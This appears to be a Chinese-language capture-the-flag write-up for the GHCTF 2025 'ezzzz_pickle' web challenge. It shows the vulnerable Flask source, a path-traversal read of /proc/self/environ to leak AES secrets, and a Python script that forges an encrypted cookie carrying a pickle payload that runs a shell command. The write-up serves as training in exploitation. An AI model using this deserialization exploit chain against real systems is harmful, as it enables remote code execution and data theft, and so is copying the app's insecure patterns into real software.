GHCTF 2025-ezzzz_pickle-wp

发布于 12 天前  18 次阅读


GHCTF 2025-ezzzz_pickle-wp

web

ezzzz_pickle

先爆破弱密码

284d59d69e8a4d9529a566c83073b757

进入filename存在路径遍历,../app.py读出源码

from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {
    "admin": "admin123",
}

def create_session(username):
    session_data = {
        "username": username,
        "expires": time.time() + 3600  # 1小时后过期
    }
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    return session

def download_file(filename):
    path = os.path.join("static", filename)
    with open(path, 'rb') as f:
        data = f.read().decode('utf-8')
    return data

def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        pickled_data = base64.b64decode(pickled)
        session_data = pickle.loads(pickled_data)

        if session_data["username"] != "admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/", methods=['GET', 'POST'])
def index():
    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data = ""
            filename = request.form.get("filename")
            if filename:
                data = download_file(filename)
            return render_template("index.html", name=session['username'], file_data=data)

    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if users.get(username) == password:
            resp = make_response(redirect("/"))
            resp.set_cookie("session", create_session(username))
            return resp

        return render_template("login.html", error="Invalid username or password")

    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=False)

SECRET_ivSECRET_key从环境读取

/etc/environment`、`~/.bashrc`、`~/.profile`、`/proc/self/environ

/proc/self/environ可以读出

image-20250307004800544

根据原有逻辑反过来pickle.loads的位置在validate_session,前面有base64AES

2974a3717633c34557a62ce24d384520

ae572dcdb6c6978051b58218ab72788d

尝试可行后在根目录找到/flag11451412343212351256354


import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import pickle

opcode = b"""cos
system
(S'cat /flag11451412343212351256354 > static/fake_flag.txt'
tR."""
# fake = pickle.loads(opcode)

SECRET_KEY = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
SECRET_IV = b"asdwdggiouewhgpw"

b64_pickled = base64.b64encode(opcode)

cipher = AES.new(SECRET_KEY, AES.MODE_CBC, SECRET_IV)
padded_data = pad(b64_pickled, AES.block_size)
encrypted = cipher.encrypt(padded_data)

cookie = base64.b64encode(encrypted).decode("utf-8")
print("Exploit Cookie:", cookie)

08c9ce2f5108f9ac847b50992c5ab728

NSSCTF{40d1a545-8f2c-4bce-92f4-ff69edf9ca3d}

QQ:2219349024
最后更新于 2025-04-07